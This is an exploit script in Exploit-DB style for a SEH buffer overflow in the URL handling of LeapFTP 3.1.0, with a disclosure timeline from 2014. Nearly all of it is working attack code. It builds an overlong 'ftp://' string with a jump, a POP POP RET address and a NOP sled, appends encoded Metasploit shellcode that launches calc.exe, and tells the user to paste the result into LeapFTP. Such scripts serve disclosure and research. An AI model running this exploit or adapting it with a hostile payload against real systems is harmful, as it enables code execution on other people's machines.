LeapFTP 3.1.0 - URL Handling Buffer Overflow (SEH)

# Exploit Title: LeapFTP 3.1.0 URL Handling SEH Exploit
# Google Dork: "k3170makan is totally awesome" hehehe
# Date: 2014-08-28
# Exploit Author: k3170makan
# Vendor Homepage:  http://www.leapware.com/
# Software Link: http://www.leapware.com/download.html
# Version: 3.1.0
# Tested on: Windows XP SP0 (DoS  on Windows SP2, Windows 7)
# Timeline:
# *  2014-08-28 : Initial contact
# *  2014-09-01 : no contact
# *  2014-09-01 : public disclosure
"""
This vulnerability was disclosed according to the terms of my public
disclosure policy (
http://blog.k3170makan.com/p/public-disclosure-policy.html)
"""
from sys import argv
if __name__ == "__main__":
ovTrigger = 1093
f = open("exploit.txt","w")
f.write("ftp://")
f.write("A"*ovTrigger)
f.write("\xEB\x06\x90\x90") #JMP to payload
f.write("\x44\xD3\x4A\x77") #POP POP RET
f.write("\x90"*30)
#msfpayload windows/exec CMD=calc.exe R | msfencode -e x86/alpha_mixed -c 1
-b \x00\x0a\x0d\xff
shellcode = "\x89\xe0\xd9\xe8\xd9\x70\xf4\x5f\x57\x59\x49\x49\x49\x49" +\
"\x49\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51" +\
"\x5a\x6a\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32" +\
"\x41\x42\x32\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41" +\
"\x42\x75\x4a\x49\x49\x6c\x68\x68\x4f\x79\x35\x50\x53\x30" +\
"\x45\x50\x35\x30\x6e\x69\x79\x75\x30\x31\x6a\x72\x30\x64" +\
"\x4c\x4b\x53\x62\x56\x50\x4e\x6b\x76\x32\x56\x6c\x6c\x4b" +\
"\x42\x72\x62\x34\x6e\x6b\x54\x32\x46\x48\x76\x6f\x6e\x57" +\
"\x61\x5a\x67\x56\x45\x61\x39\x6f\x64\x71\x4b\x70\x4e\x4c" +\
"\x55\x6c\x53\x51\x33\x4c\x67\x72\x76\x4c\x51\x30\x59\x51" +\
"\x38\x4f\x64\x4d\x45\x51\x49\x57\x4d\x32\x58\x70\x56\x32" +\
"\x70\x57\x4e\x6b\x31\x42\x76\x70\x4e\x6b\x61\x52\x47\x4c" +\
"\x73\x31\x5a\x70\x4c\x4b\x57\x30\x53\x48\x6c\x45\x4f\x30" +\
"\x33\x44\x51\x5a\x65\x51\x48\x50\x42\x70\x6e\x6b\x72\x68" +\
"\x67\x68\x6c\x4b\x30\x58\x47\x50\x77\x71\x5a\x73\x49\x73" +\
"\x77\x4c\x71\x59\x6e\x6b\x35\x64\x4e\x6b\x57\x71\x4b\x66" +\
"\x35\x61\x4b\x4f\x34\x71\x4f\x30\x4e\x4c\x59\x51\x4a\x6f" +\
"\x74\x4d\x75\x51\x58\x47\x44\x78\x59\x70\x62\x55\x68\x74" +\
"\x33\x33\x61\x6d\x4b\x48\x65\x6b\x33\x4d\x47\x54\x72\x55" +\
"\x58\x62\x36\x38\x6e\x6b\x32\x78\x35\x74\x55\x51\x4a\x73" +\
"\x73\x56\x4e\x6b\x66\x6c\x72\x6b\x6e\x6b\x71\x48\x77\x6c" +\
"\x47\x71\x78\x53\x6e\x6b\x73\x34\x4e\x6b\x75\x51\x5a\x70" +\
"\x4b\x39\x77\x34\x35\x74\x71\x34\x31\x4b\x51\x4b\x75\x31" +\
"\x71\x49\x70\x5a\x66\x31\x4b\x4f\x39\x70\x43\x68\x43\x6f" +\
"\x53\x6a\x4c\x4b\x42\x32\x38\x6b\x4b\x36\x53\x6d\x42\x4a" +\
"\x36\x61\x4c\x4d\x4b\x35\x68\x39\x65\x50\x35\x50\x55\x50" +\
"\x70\x50\x52\x48\x76\x51\x6c\x4b\x62\x4f\x6c\x47\x79\x6f" +\
"\x6e\x35\x6f\x4b\x4a\x50\x4e\x55\x69\x32\x32\x76\x55\x38" +\
"\x79\x36\x6c\x55\x6f\x4d\x4d\x4d\x6b\x4f\x78\x55\x75\x6c" +\
"\x73\x36\x31\x6c\x57\x7a\x4b\x30\x79\x6b\x49\x70\x70\x75" +\
"\x64\x45\x4f\x4b\x63\x77\x37\x63\x62\x52\x52\x4f\x52\x4a" +\
"\x77\x70\x56\x33\x69\x6f\x4e\x35\x30\x63\x35\x31\x50\x6c" +\
"\x51\x73\x36\x4e\x45\x35\x44\x38\x33\x55\x53\x30\x41\x41"
f.write(shellcode)
f.flush()
f.close()
#copy contents of exploit.txt to your clipboard and then launch LeapFTP
  <http://about.me/k3170makan>
Keith Makan <http://about.me/k3170makan>
about.me/k3170makan
  <http://about.me/k3170makan>